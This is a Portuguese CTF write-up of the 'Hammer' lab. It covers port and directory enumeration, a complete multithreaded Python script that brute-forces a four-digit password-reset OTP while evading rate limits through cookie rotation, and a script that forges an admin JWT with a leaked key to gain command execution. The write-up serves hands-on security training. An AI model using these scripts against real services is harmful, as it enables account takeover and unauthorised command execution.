Hammer
Introdução
Este CTF faz parte da trilha Web Application Pentesting. Nele, são praticados conceitos de gerenciamento de sessão, autenticação de dois fatores (2FA), força bruta, scripting e JSON Web Tokens (JWT).
Inicialmente, realizamos o reconhecimento da aplicação, suas portas e serviços. Em seguida, passamos para a enumeração da aplicação, analisando como ela se comporta no processo de recuperação de senha. Concluímos com a análise do JWT e a exposição de informações sensíveis.
O CTF se encontra neste link.
Reconhecimento
Executamos um SYN SCAN no alvo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sS --open 10.10.19.190
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 15:59 -03
Nmap scan report for hammer.thm (10.10.19.190)
Host is up (0.32s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 4.31 seconds
┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sS --open -p- 10.10.19.190
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 16:00 -03
Nmap scan report for hammer.thm (10.10.19.190)
Host is up (0.33s latency).
Not shown: 65471 closed tcp ports (reset), 62 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
1337/tcp open waste
┌──(root㉿estudos)-[/home/alex]
└─# nmap -Pn -sV -p 22,1337 10.10.19.190
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 16:04 -03
Nmap scan report for hammer.thm (10.10.19.190)
Host is up (0.35s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.03 seconds
Há um serviço web sendo executado na porta 1337
.
Realizamos uma enumeração dos diretórios disponíveis.
Encontramos três diretórios: javascript
, vendor
e phpmyadmin
.
Analisando os diretórios, descobrimos no diretório vendor
uma biblioteca, que realiza o decode e encode do JSON Web Token (JWT) a biblioteca utilizada é:firebase versão 6.10.0
.
Quando verificamos o código fonte, da página inicial, identificamos uma anotação do desenvolvedor.
1
<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->
Vamos realizar novamente uma enumeração em busca de diretórios, agora com a string hmr_
incluída.
1
2
┌──(root㉿estudos)-[/home/alex]
└─# ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.19.190:1337/hmr_FUZZ -fs 276
No diretório hmr_images
temos uma imagem, verificado os metadados, não identificamos nenhuma informação relevante.
Os diretórios hmr_css
e hmr_js
, temos apenas arquivos que realizam a manipulação das páginas HTML do site.
No diretório hmr_logs
temos logs de tentativa de acesso.
Os diretórios informados no log foram verificados, não estão disponíveis para acesso até o momento. Com o e-mail tester@hammer.thm
tentamos recuperar a senha, é enviado um token
de 4 dígitos.
Temos uma contagem regressiva de 180 segundos, para informar o código OTP. Além disso, existe um controle contra brute force, após algumas tentativas a aplicação nos bloqueia.
Se alterarmos o nosso cookie, podemos reiniciar o processo de recuperação de senha. Precisamos informar o e-mail novamente. Após informar o e-mail, podemos inserir o código OTP mais uma vez.
Exploração
Primeiro, vamos criar nossa wordlist com 4 dígitos, que inicia em 0000
até 9999
. Para essa tarefa utilizaremos o crunch
.
1
2
3
4
5
6
7
8
9
10
┌──(root㉿estudos)-[/home/alex/Desktop]
└─# crunch 4 4 -o otp.txt -t %%%%
Crunch will now generate the following amount of data: 50000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000
crunch: 100% completed generating output
Temos 9999 números para serem testados, se cada número demorar 1 segundo para ser testado, ficaríamos mais de 2 horas realizando o ataque de brute force. Para diminuir esse tempo, vamos dividir por 10, nosso programa irá executar 10 processos em paralelo.
O fluxo do programa será da seguinte maneira:
- Ler os códigos OTP:
- Abrir o arquivo com os códigos de recuperação e armazená-los em uma lista.
- Dividir a lista de OTPs:
- Dividir a lista de OTPs em 10 partes, uma para cada thread.
- Executar threads:
- Utilizar
ThreadPoolExecutor
para criar 10 threads.
- Utilizar
- Enviar a requisição inicial:
- Cada thread gera um cookie aleatório e envia a requisição inicial com o e-mail.
- Processar os códigos OTP:
- Cada thread processa sua parte da lista de OTPs, enviando requisições POST com o código de recuperação.
- Verificar resposta da página:
- Para cada requisição:
- Se a resposta contiver “Invalid or expired recovery code!”, continuar com o próximo código da lista.
- Se a resposta contiver “Rate limit exceeded. Please try again later.”, gerar um novo cookie e tentar novamente.
- Se a resposta não contiver nenhuma dessas mensagens, considerar o código como válido.
- Para cada requisição:
- Encerrar threads:
- Quando um código válido for encontrado, todas as threads são interrompidas.
- Exibir o código válido encontrado, o cabeçalho recebido e o cookie utilizado.
O código foi desenvolvido em python 3.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import random
import string
import time
import requests
from concurrent.futures import ThreadPoolExecutor
from threading import Event
# URL de recuperação de senha
url_reset_password = 'http://hammer.thm:1337/reset_password.php'
# Evento para sinalizar que o código correto foi encontrado
codigo_valido_encontrado = Event()
# Função para gerar um cookie aleatório
def gerar_cookie_aleatorio(tamanho=27):
caracteres = string.ascii_letters + string.digits
return ''.join(random.choice(caracteres) for _ in range(tamanho))
# Função para enviar a requisição inicial
def enviar_primeiro_cabecalho():
headers_primeiro = {
'Host': 'hammer.thm:1337',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '25',
'Origin': 'http://hammer.thm:1337',
'Connection': 'keep-alive',
'Referer': 'http://hammer.thm:1337/reset_password.php',
'Cookie': f'PHPSESSID={gerar_cookie_aleatorio()}',
'Upgrade-Insecure-Requests': '1',
'Priority': 'u=0, i'
}
data_primeiro = {'email': 'tester@hammer.thm'}
response = requests.post(url_reset_password, headers=headers_primeiro, data=data_primeiro)
print(f'Primeiro cabeçalho enviado. Status: {response.status_code}')
return headers_primeiro['Cookie']
# Função para enviar a requisição com o código de recuperação
def enviar_segundo_cabecalho(cookie, recovery_code):
if codigo_valido_encontrado.is_set():
return
headers_segundo = {
'Host': 'hammer.thm:1337',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '24',
'Origin': 'http://hammer.thm:1337',
'Connection': 'keep-alive',
'Referer': 'http://hammer.thm:1337/reset_password.php',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1',
'Priority': 'u=0, i'
}
data_segundo = {'recovery_code': recovery_code, 's': '180'}
response = requests.post(url_reset_password, headers=headers_segundo, data=data_segundo)
# Verifica a resposta da página
if "Invalid or expired recovery code!" in response.text:
print(f'Código OTP utilizado: {recovery_code} - Status: {response.status_code} - Código Inválido')
elif "Rate limit exceeded. Please try again later." in response.text:
print(f'Rate limit exceeded com código: {recovery_code} - Status: {response.status_code}')
return 'rate_limit'
else:
print(f'Código OTP utilizado: {recovery_code} - Status: {response.status_code} - Código Válido')
print(f'Cabeçalho recebido: {response.headers}')
print(f'Cookie: {cookie}')
codigo_valido_encontrado.set()
return True
return False
# Função principal
def main():
# Arquivo com os códigos de recuperação
arquivo_codigos = 'otp.txt'
# Lê os códigos do arquivo
with open(arquivo_codigos, 'r') as file:
codigos = [linha.strip() for linha in file.readlines()]
# Divide a lista de OTPs em 10 partes
num_threads = 10
chunk_size = len(codigos) // num_threads
chunks = [codigos[i:i + chunk_size] for i in range(0, len(codigos), chunk_size)]
def processar_codigo(chunk):
cookie = enviar_primeiro_cabecalho()
for codigo in chunk:
if codigo_valido_encontrado.is_set():
break
resultado = enviar_segundo_cabecalho(cookie, codigo)
if resultado == 'rate_limit':
cookie = enviar_primeiro_cabecalho()
resultado = enviar_segundo_cabecalho(cookie, codigo)
if resultado is True:
break
with ThreadPoolExecutor(max_workers=num_threads) as executor:
futures = [executor.submit(processar_codigo, chunk) for chunk in chunks]
for future in futures:
future.result()
if codigo_valido_encontrado.is_set():
break
if __name__ == '__main__':
main()
Brute Force - 2FA
Executando nosso script encontramos um código OTP válido.
Com um código válido conseguimos trocar a senha do usuário.
Conseguimos acessar a dashboard e obter nossa primeira flag!
JWT
Depois de alguns segundos é feito o logout automático da dashboard
, é necessário inserir novamente as credenciais para acessa-lá. Vamos encaminhar para Burp Suite a solicitação, para entender melhor o que está ocorrendo.
Primeiro é feito uma requisição POST
.
Depois realizamos um GET
em /dasboard.php
.
O cookie recebido possui um JWT
. O JWT possui um tempo de duração de 1 hora, após isso, ele é expirado e é necessário solicitar um novo token.
1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.yJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzM5MzgzNDI0LCJleHAiOjE3MzkzODcwMjQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.DloVp56EIpRxUunIspBJ9BGQvwuW40vog0L_qso0fiY
Conteúdo do JWT
, verificamos pelo https://jwt.io/
.
Quando executamos um comando em “Enter command” a página solicitada é execute_command.php
. Vamos envia-la para o Burp Suite.
Mesmo após o logout automático, ainda conseguimos enviar os comandos, o JWT que temos nos campos Authorization
e Cookie
permite que nossa solicitação seja processada com sucesso e o token ainda não está com o tempo expirado.
Verificamos o comportamento da aplicação, com o comando que enviamos, com o comando ls
conseguimos listar os arquivos no diretório atual, além dos arquivos e diretórios que já sabíamos, também identificamos outro arquivo 188ade1.key
.
Baixamos o arquivo descoberto para a nossa máquina local.
Analisando o arquivo percebemos que pode se tratar de uma chave, para gerar JWT válido na aplicação.
1
2
3
4
5
6
7
┌──(alex㉿estudos)-[~/Downloads]
└─$ file 188ade1.key
188ade1.key: ASCII text, with no line terminators
┌──(alex㉿estudos)-[~/Downloads]
└─$ cat 188ade1.key
[REDACTED]
Apenas o comando ls
sem nenhuma opção, está sendo permitido executar.
Tentamos executar outros comandos do Linux porém recebemos a mensagem Command not allowed
.
Nosso usuário possui no JWT role:user
, aparentemente, por esse motivo não conseguimos executar outros comandos, não temos a permissão necessária.
Criando nosso JWT
Como vimos no decode do JWT temos o campo role
, podemos utiliza-lo, alterando para admin
, utilizando a chave que encontramos em /var/www/html/
.Para isso precisamos criar nosso JWT, vamos utilizar o python para essa tarefa.
Programa desenvolvido para criar nosso token.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import jwt
import datetime
# Definindo o header
header = {
"typ": "JWT",
"alg": "HS256",
"kid": "/var/www/html/188ade1.key"
}
# Definindo o payload
payload = {
"iss": "http://hammer.thm",
"aud": "http://hammer.thm",
"iat": 1739395993,
"exp": 4070726400,
"data": {
"user_id": 1,
"email": "tester@hammer.thm",
"role": "admin"
}
}
# Chave secreta
secret_key = 'key-256-bit-secret'
# Gerando o token JWT
token = jwt.encode(payload, secret_key, algorithm='HS256', headers=header)
# Exibindo o token
print(token)
Criando nosso JWT com role:admin
.
Validamos nosso JWT no site https://jwt.io/
.
Observação, podemos gerar nosso JWT pelo site também.
Agora no Burp realizamos uma nova requisição com o nosso novo JWT.
Temos permissão para executar outros comandos, o CTF já informa o caminho da última flag
, vamos tentar ler o arquivo, antes de realizar uma shell reversa.
Resumo
Enumeramos as portas, e identificamos as portas 22
e 1337
, com a porta 1337
rodando um serviço web. Nesse servidor web, descobrimos diretórios e arquivos importantes, encontrando um e-mail válido (tester@hammer.thm
). A partir desse e-mail, iniciamos a análise do comportamento de recuperação de senha. Entendido o comportamento de recuperação de senha e o 2FA
, desenvolvemos um script de brute force
, conseguindo assim o código OTP
válido. Após a alteração de senha e autenticados na dashboard
da aplicação, realizamos uma nova enumeração e identificamos que a aplicação gerava um JWT
, utilizado para validar quais comandos o usuário poderia executar (role
). Com a descoberta da chave no diretório (/var/www/html/
), geramos um novo JWT com o campo role
alterado, obtendo assim um RCE
e concluindo o CTF com a descoberta da última flag
.
Complemento
Nessa seção, foram colocadas algumas informações que julguei necessárias e importantes, após concluir o CTF, para complementar esse Write-Up. As informações descobertas foram feitas em outras análises minhas, e com ajuda de outros Write-Ups disponíveis na internet.
Função para realizar o logout automaticamente
É realizado o logout automaticamente da dashboard
após alguns segundos, a função que realiza esse logout se encontra no código fonte da página.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
function checkTrailUserCookie() {
const trailUser = getCookie('persistentSession');
if (!trailUser) {
window.location.href = 'logout.php';
}
}
Função checkTrailUserCookie()
:
- Essa função chama a função
getCookie('persistentSession')
para verificar se o cookiepersistentSession
está presente. - Se o cookie
persistentSession
não estiver presente (ou seja,trailUser
énull
ouundefined
), a função redireciona o usuário para a páginalogout.php
.
No nosso caso está como no
, se for definida como true
mantemos nossa sessão aberta sem logout automáticos
Controle contra Brute Force
Quando iniciamos o processo de recuperação de senha é solicitado nosso cótido OTP
, iniciamos com 8 tentativas, até sermos bloqueado pela aplicação.
O campo que controla a quantidade é Rate-Limit-Pending
.
OTP gerado
Em alguns momentos, ao executar o script, foi descoberto mais de um código OTP válido. Após realizar outra análise do comportamento da aplicação e ler alguns write-ups a respeito, ficou mais claro que o código OTP gerado não é válido somente na sessão em que foi solicitado, mas sim para o e-mail que está solicitando (tester@hammer.thm
). Portanto, quando realizávamos uma nova requisição de recuperação de senha com um novo cookie, o código OTP gerado nos outros processos em paralelo não era descartado, podendo assim ser válido para recuperação de senha. O código só se tornaria inválido após o tempo de expiração ser excedido, que é de 1 hora.